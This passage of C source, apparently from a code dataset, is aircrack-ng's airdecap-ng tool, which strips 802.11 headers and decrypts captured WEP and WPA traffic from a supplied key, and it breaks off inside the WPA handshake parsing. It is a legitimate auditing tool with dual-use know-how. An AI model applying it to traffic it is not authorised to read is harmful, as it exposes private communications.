0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00}; |
C | aircrack-ng/src/airdecap-ng/airdecap-ng.c | /*
* 802.11 to Ethernet pcap translator
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <getopt.h>
#include "aircrack-ng/version.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/defs.h"
#include "aircrack-ng/osdep/byteorder.h"
#include "aircrack-ng/adt/avl_tree.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/tui/console.h"
static const char usage[] =
"\n"
" %s - (C) 2006-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: airdecap-ng [options] <pcap file>\n"
"\n"
" Common options:\n"
" -l : don't remove the 802.11 header\n"
" -b <bssid> : access point MAC address filter\n"
" -e <essid> : target network SSID\n"
" -o <fname> : output file for decrypted packets (default <src>-dec)\n"
"\n"
" WEP specific option:\n"
" -w <key> : target network WEP key in hex\n"
" -c <fname> : output file for corrupted WEP packets (default "
"<src>-bad)\n"
"\n"
" WPA specific options:\n"
" -p <pass> : target network WPA passphrase\n"
" -k <pmk> : WPA Pairwise Master Key in hex\n"
"\n"
" --help : Displays this usage screen\n"
"\n"
" If your capture contains any WDS packet, you must specify the -b\n"
" option (otherwise only packets destined to the AP will be decrypted)\n"
"\n";
static struct decap_stats
{
unsigned long nb_stations; /* # of stations seen */
unsigned long nb_read; /* # of packets read */
unsigned long nb_wep; /* # of WEP data packets */
unsigned long nb_bad; /* # of bad data packets */
unsigned long nb_wpa; /* # of WPA data packets */
unsigned long nb_plain; /* # of plaintext packets */
unsigned long nb_unwep; /* # of decrypted WEP pkt */
unsigned long nb_unwpa; /* # of decrypted WPA pkt */
unsigned long nb_failed_tkip; /* # of failed WPA TKIP pkt decryptions */
unsigned long nb_failed_ccmp; /* # of failed WPA CCMP pkt decryptions */
} stats;
static struct options
{
int no_convert;
char essid[36];
char passphrase[65];
unsigned char bssid[6];
unsigned char pmk[40];
unsigned char wepkey[64];
int weplen, crypt;
int store_bad;
char decrypted_fpath[65536];
char corrupted_fpath[65536];
} opt;
static unsigned char buffer[65536];
static unsigned char buffer2[65536];
static bool wds = false;
/* this routine handles to 802.11 to Ethernet translation */
static int
write_packet(FILE * f_out, struct pcap_pkthdr * pkh, unsigned char * h80211)
{
REQUIRE(f_out != NULL);
REQUIRE(pkh != NULL);
REQUIRE(h80211 != NULL);
int n;
unsigned char arphdr[12];
int qosh_offset = 0;
if (opt.no_convert)
{
if (buffer != h80211) memcpy(buffer, h80211, pkh->caplen);
}
else
{
/* create the Ethernet link layer (MAC dst+src) */
switch (h80211[1] & 3)
{
case 0: /* To DS = 0, From DS = 0: DA, SA, BSSID */
memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
break;
case 1: /* To DS = 1, From DS = 0: BSSID, SA, DA */
memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
break;
case 2: /* To DS = 0, From DS = 1: DA, BSSID, SA */
memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
memcpy(arphdr + 6, h80211 + 16, sizeof(arphdr) / 2);
break;
default: /* To DS = 1, From DS = 1: RA, TA, DA, SA */
memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
memcpy(arphdr + 6, h80211 + 24, sizeof(arphdr) / 2);
break;
}
/* check QoS header */
if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
{
qosh_offset += 2;
}
/* remove the 802.11 + LLC header */
if ((h80211[1] & 3) != 3)
{
pkh->len -= 24 + qosh_offset + 6;
pkh->caplen -= 24 + qosh_offset + 6;
/* can overlap */
memmove(buffer + 12, h80211 + qosh_offset + 30, pkh->caplen);
}
else
{
pkh->len -= 30 + qosh_offset + 6;
pkh->caplen -= 30 + qosh_offset + 6;
memmove(buffer + 12, h80211 + qosh_offset + 36, pkh->caplen);
}
memcpy(buffer, arphdr, 12);
pkh->len += 12;
pkh->caplen += 12;
}
pkh->len = __cpu_to_le32(pkh->len);
pkh->caplen = __cpu_to_le32(pkh->caplen);
n = sizeof(struct pcap_pkthdr);
if (fwrite(pkh, 1, n, f_out) != (size_t) n)
{
perror("fwrite(packet header) failed");
return (EXIT_FAILURE);
}
n = __le32_to_cpu(pkh->caplen);
if (fwrite(buffer, 1, n, f_out) != (size_t) n)
{
perror("fwrite(packet data) failed");
return (EXIT_FAILURE);
}
return (EXIT_SUCCESS);
}
int main(int argc, char * argv[])
{
time_t tt;
unsigned magic;
char *s, buf[128];
FILE *f_in, *f_out, *f_bad = NULL;
unsigned long crc;
int i = 0, linktype;
unsigned n;
unsigned z;
unsigned char * h80211 = NULL;
unsigned char bssid[6] = {0}, stmac[6] = {0};
c_avl_tree_t * stations = c_avl_create(station_compare);
ALLEGE(stations != NULL);
struct WPA_ST_info * st_cur;
struct pcap_file_header pfh;
struct pcap_pkthdr pkh;
ac_crypto_init();
/* parse the arguments */
memset(&opt, 0, sizeof(opt));
while (1)
{
int option_index = 0;
const struct option long_options[] = {{"bssid", 1, 0, 'b'},
{"debug", 1, 0, 'd'},
{"help", 0, 0, 'H'},
{0, 0, 0, 0}};
int option = getopt_long(
argc, argv, "lb:k:e:o:p:w:c:H", long_options, &option_index);
if (option < 0) break;
switch (option)
{
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
case 'l':
opt.no_convert = 1;
break;
case 'b':
i = 0;
s = optarg;
while (sscanf(s, "%x", &n) == 1)
{
if (n > 255)
{
printf("Invalid BSSID (not a MAC).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.bssid[i] = n;
if (++i >= 6) break;
if (!(s = strchr(s, ':'))) break;
s++;
}
if (i != 6)
{
printf("Invalid BSSID (not a MAC).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'k':
if (opt.crypt != CRYPT_NONE)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WPA;
i = 0;
s = optarg;
buf[0] = s[0];
buf[1] = s[1];
buf[2] = '\0';
while (sscanf(buf, "%x", &n) == 1)
{
if (n > 255)
{
printf("Invalid WPA PMK.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.pmk[i++] = n;
if (i >= 32) break;
s += 2;
if (s[0] == ':' || s[0] == '-') s++;
if (s[0] == '\0' || s[1] == '\0') break;
buf[0] = s[0];
buf[1] = s[1];
}
if (i != 32)
{
printf("Invalid WPA PMK.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'e':
if (opt.essid[0])
{
printf("ESSID already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
memset(opt.essid, 0, sizeof(opt.essid));
strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
break;
case 'o':
if (opt.decrypted_fpath[0])
{
printf(
"filename for decrypted packets already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
strncpy(opt.decrypted_fpath,
optarg,
sizeof(opt.decrypted_fpath) - 1);
break;
case 'c':
if (opt.corrupted_fpath[0])
{
printf(
"filename for corrupted packets already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
strncpy(opt.corrupted_fpath,
optarg,
sizeof(opt.corrupted_fpath) - 1);
break;
case 'p':
if (opt.crypt != CRYPT_NONE)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WPA;
memset(opt.passphrase, 0, sizeof(opt.passphrase));
strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
break;
case 'w':
if (opt.crypt != CRYPT_NONE)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WEP;
i = 0;
s = optarg;
buf[0] = s[0];
buf[1] = s[1];
buf[2] = '\0';
while (sscanf(buf, "%x", &n) == 1)
{
if (n > 255)
{
printf("Invalid WEP key.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.wepkey[i++] = n;
if (i >= 64) break;
s += 2;
if (s[0] == ':' || s[0] == '-') s++;
if (s[0] == '\0' || s[1] == '\0') break;
buf[0] = s[0];
buf[1] = s[1];
}
if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
{
printf("Invalid WEP key length. [5,13,16,29,61]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.weplen = i;
break;
case 'H':
printf(usage,
getVersion("Airdecap-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
return (EXIT_FAILURE);
default:
goto usage;
}
}
if (argc - optind != 1)
{
if (argc == 1)
{
usage:
printf(usage,
getVersion("Airdecap-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
}
if (argc - optind == 0)
{
printf("No file to decrypt specified.\n");
}
if (argc > 1)
{
printf("\"%s --help\" for help.\n", argv[0]);
}
return (EXIT_FAILURE);
}
if (opt.crypt == CRYPT_WPA)
{
if (opt.passphrase[0] != '\0')
{
/* compute the Pairwise Master Key */
if (opt.essid[0] == '\0')
{
printf("You must also specify the ESSID (-e).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
calc_pmk(
(uint8_t *) opt.passphrase, (uint8_t *) opt.essid, opt.pmk);
}
}
/* open the input and output pcap files */
if ((f_in = fopen(argv[optind], "rb")) == NULL)
{
perror("fopen failed\n");
printf("Could not open \"%s\".\n", argv[optind]);
return (EXIT_FAILURE);
}
n = sizeof(pfh);
if (fread(&pfh, 1, n, f_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
return (EXIT_FAILURE);
}
if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
{
printf("\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
argv[optind]);
return (EXIT_FAILURE);
}
if ((magic = pfh.magic) == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
if (pfh.linktype != LINKTYPE_IEEE802_11
&& pfh.linktype != LINKTYPE_PRISM_HEADER
&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
&& pfh.linktype != LINKTYPE_PPI_HDR)
{
printf("\"%s\" isn't a regular 802.11 "
"(wireless) capture.\n",
argv[optind]);
return (EXIT_FAILURE);
}
linktype = pfh.linktype;
n = strlen(argv[optind]);
if (n > 4 && (n + 5 < (int) sizeof(buffer)) && argv[optind][n - 4] == '.')
{
memcpy(buffer, argv[optind], n - 4);
memcpy(buffer2, argv[optind], n - 4);
memcpy(buffer + n - 4, "-dec", 4);
memcpy(buffer2 + n - 4, "-bad", 4);
memcpy(buffer + n, argv[optind] + n - 4, 5);
memcpy(buffer2 + n, argv[optind] + n - 4, 5);
}
else
{
if (n > 5 && (n + 6 < (int) sizeof(buffer))
&& argv[optind][n - 5] == '.')
{
memcpy(buffer, argv[optind], n - 5);
memcpy(buffer2, argv[optind], n - 5);
memcpy(buffer + n - 5, "-dec", 4);
memcpy(buffer2 + n - 5, "-bad", 4);
memcpy(buffer + n - 1, argv[optind] + n - 5, 6);
memcpy(buffer2 + n - 1, argv[optind] + n - 5, 6);
}
else
{
memset(buffer, 0, sizeof(buffer));
memset(buffer2, 0, sizeof(buffer));
snprintf(
(char *) buffer, sizeof(buffer) - 1, "%s-dec", argv[optind]);
snprintf(
(char *) buffer2, sizeof(buffer) - 1, "%s-bad", argv[optind]);
}
}
if (opt.crypt == CRYPT_WEP && opt.no_convert == 1)
{
opt.store_bad = 1;
}
/* Support manually-configured output files*/
if (opt.decrypted_fpath[0])
f_out = fopen(opt.decrypted_fpath, "wb+");
else
f_out = fopen((char *) buffer, "wb+");
if (f_out == NULL)
{
perror("fopen failed");
printf("Could not create \"%s\".\n", buffer);
return (EXIT_FAILURE);
}
if (opt.store_bad)
{
if (opt.corrupted_fpath[0])
f_bad = fopen(opt.corrupted_fpath, "wb+");
else
f_bad = fopen((char *) buffer2, "wb+");
if (f_bad == NULL)
{
perror("fopen failed");
printf("Could not create \"%s\".\n", buffer2);
return (EXIT_FAILURE);
}
}
#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
pfh.magic = TCPDUMP_CIGAM;
#else
pfh.magic = TCPDUMP_MAGIC;
#endif
pfh.version_major = cpu_to_le16(PCAP_VERSION_MAJOR);
pfh.version_minor = cpu_to_le16(PCAP_VERSION_MINOR);
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = cpu_to_le32(65535);
pfh.linktype = cpu_to_le32((opt.no_convert) ? LINKTYPE_IEEE802_11
: LINKTYPE_ETHERNET);
n = sizeof(pfh);
if (fwrite(&pfh, 1, n, f_out) != (size_t) n)
{
perror("fwrite(pcap file header) failed");
return (EXIT_FAILURE);
}
if (opt.store_bad)
{
ALLEGE(f_bad != NULL);
if (fwrite(&pfh, 1, n, f_bad) != (size_t) n)
{
perror("fwrite(pcap file header) failed");
return (EXIT_FAILURE);
}
}
/* loop reading and deciphering the packets */
memset(&stats, 0, sizeof(stats));
tt = time(NULL);
while (1)
{
if (time(NULL) - tt > 0)
{
/* update the status line every second */
erase_line(0);
printf("Read %lu packets...\r", stats.nb_read);
fflush(stdout);
tt = time(NULL);
}
/* read one packet */
n = sizeof(pkh);
if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
if (magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
n = pkh.caplen;
if (n <= 0 || n > 65535)
{
printf("Corrupted file? Invalid packet length %u.\n", n);
break;
}
if (fread(buffer, 1, n, f_in) != (size_t) n) break;
stats.nb_read++;
h80211 = buffer;
if (linktype == LINKTYPE_PRISM_HEADER)
{
/* remove the prism header */
if (h80211[7] == 0x40)
n = 64; /* prism54 */
else
{
n = *(int *) (h80211 + 4);
if (magic == TCPDUMP_CIGAM) SWAP32(n);
}
if (n < 8 || n >= (unsigned) pkh.caplen) continue;
h80211 += n;
pkh.caplen -= n;
}
if (linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
if (n <= 0 || n >= (unsigned) pkh.caplen) continue;
h80211 += n;
pkh.caplen -= n;
}
if (linktype == LINKTYPE_PPI_HDR)
{
/* Remove the PPI header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
if (n <= 0 || n >= (unsigned) pkh.caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
n = 32;
if (n <= 0 || n >= (unsigned) pkh.caplen) continue; //-V560
h80211 += n;
pkh.caplen -= n;
}
/* remove the FCS if present (madwifi) */
if (check_crc_buf(h80211, pkh.caplen - 4) == 1)
{
pkh.len -= 4;
pkh.caplen -= 4;
}
/* check if data */
if ((h80211[0] & 0x0C) != 0x08) continue;
/* check minimum size */
z = ((*(h80211 + 1) & 3) != 3) ? 24 : 30;
if (z + 16 > pkh.caplen) continue;
/* check QoS header */
if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
{
z += 2;
}
/* check the BSSID */
switch (*(h80211 + 1) & 3)
{
case 0:
memcpy(bssid, h80211 + 16, sizeof(bssid)); //-V525
break; // Adhoc
case 1:
memcpy(bssid, h80211 + 4, sizeof(bssid));
break; // ToDS
case 2:
memcpy(bssid, h80211 + 10, sizeof(bssid));
break; // FromDS
case 3:
wds = true;
if (memcmp(opt.bssid, ZERO, 6) != 0)
{
/* BSSID has been specified */
if (memcmp(opt.bssid, h80211 + 4, 6) != 0)
if (memcmp(opt.bssid, h80211 + 10, 6) != 0)
/* BSSID doesn't match either RA nor TA */
continue;
else
/* BSSID is equal to TA */
memcpy(bssid, h80211 + 10, sizeof(bssid));
else
/* BSSID is equal to RA */
memcpy(bssid, h80211 + 4, sizeof(bssid));
}
else
/* BSSID has not been specified, set BSSID from TA*/
memcpy(bssid, h80211 + 10, sizeof(bssid));
break; // WDS
}
if (memcmp(opt.bssid, ZERO, 6) != 0)
if (memcmp(opt.bssid, bssid, 6) != 0) continue;
/* locate the station's MAC address */
switch (*(h80211 + 1) & 3)
{
case 1:
memcpy(stmac, h80211 + 10, sizeof(stmac)); //-V525
break;
case 2:
memcpy(stmac, h80211 + 4, sizeof(stmac));
break;
case 3:
if (memcmp(opt.bssid, ZERO, 6) != 0)
{
/* BSSID has been specified */
if (memcmp(bssid, h80211 + 4, 6) != 0)
/* BSSID is not RA, STA must be RA */
memcpy(stmac, h80211 + 4, sizeof(stmac));
}
else
/* BSSID is RA or not specified, set STA from TA */
memcpy(stmac, h80211 + 10, sizeof(stmac));
break; // WDS
default:
continue;
}
int not_found = c_avl_get(stations, stmac, (void **) &st_cur);
/* if it's a new station, add it */
if (not_found)
{
if (!(st_cur
= (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
{
perror("malloc failed");
break;
}
memset(st_cur, 0, sizeof(struct WPA_ST_info));
memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
memcpy(st_cur->bssid, bssid, sizeof(st_cur->bssid));
c_avl_insert(stations, st_cur->stmac, st_cur);
stats.nb_stations++;
}
ALLEGE(st_cur != NULL);
/* check if we haven't already processed this packet */
crc = calc_crc_buf(h80211 + z, pkh.caplen - z);
if ((*(h80211 + 1) & 3) == 2)
{
if (st_cur->t_crc == crc) continue;
st_cur->t_crc = crc;
}
else
{
if (st_cur->f_crc == crc) continue;
st_cur->f_crc = crc;
}
/* check the SNAP header to see if data is encrypted *
* as unencrypted data begins with AA AA 03 00 00 00 */
if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
{
/* check the extended IV flag */
if ((h80211[z + 3] & 0x20) == 0)
{
unsigned char K[64];
stats.nb_wep++;
if (opt.crypt != CRYPT_WEP) continue;
memcpy(K, h80211 + z, 3);
memcpy(K + 3, opt.wepkey, opt.weplen);
if (opt.store_bad) memcpy(buffer2, h80211, pkh.caplen);
if (decrypt_wep(
h80211 + z + 4, pkh.caplen - z - 4, K, 3 + opt.weplen)
== 0)
{
if (opt.store_bad)
{
stats.nb_bad++;
memcpy(h80211, buffer2, pkh.caplen);
if (write_packet(f_bad, &pkh, h80211) != 0) break;
}
continue;
}
/* WEP data packet was successfully decrypted, *
* remove the WEP IV & ICV and write the data */
pkh.len -= 8;
pkh.caplen -= 8;
memmove(h80211 + z, h80211 + z + 4, pkh.caplen - z);
stats.nb_unwep++;
*(h80211 + 1) &= 0xBF;
if (write_packet(f_out, &pkh, h80211) != 0) break;
}
else
{
stats.nb_wpa++;
if (opt.crypt != CRYPT_WPA) continue;
/* if the PTK is valid, try to decrypt */
if (!st_cur->valid_ptk) continue;
if (st_cur->keyver == 1)
{
if (decrypt_tkip(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
{
stats.nb_failed_tkip++;
continue;
}
pkh.len -= 20;
pkh.caplen -= 20;
}
else if (st_cur->keyver == 2)
{
if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
{
stats.nb_failed_ccmp++;
continue;
}
pkh.len -= 16;
pkh.caplen -= 16;
}
else
{
fprintf(stderr, "unsupported keyver: %d\n", st_cur->keyver);
continue;
}
/* WPA data packet was successfully decrypted, *
* remove the WPA Ext.IV & MIC, write the data */
if (pkh.caplen > z)
{
/* can overlap */
memmove(h80211 + z, h80211 + z + 8, pkh.caplen - z);
}
else
{
/* overflow */
continue;
}
stats.nb_unwpa++;
*(h80211 + 1) &= 0xBF;
if (write_packet(f_out, &pkh, h80211) != 0) break;
}
}
else
{
/* check ethertype == EAPOL */
z += 6;
if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E)
{
stats.nb_plain++;
if (opt.crypt != CRYPT_NONE) continue;
if (write_packet(f_out, &pkh, h80211) != 0)
break;
else
continue;
}
z += 2;
/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
if (h80211[z + 1] != 0x03
|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
continue;
/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) == 0)
{
/* set authenticator nonce */
memcpy(st_cur->anonce, &h80211[z + 17], 32);
}
/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) == 0 && (h80211[z + 5] & 0x01) != 0)
{
if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
{
/* set supplicant nonce */
memcpy(st_cur->snonce, &h80211[z + 17], 32);
}
/* copy the MIC & eapol frame */
st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
if (pkh.len - z < st_cur->eapol_size
|| st_cur->eapol_size == 0 //-V560
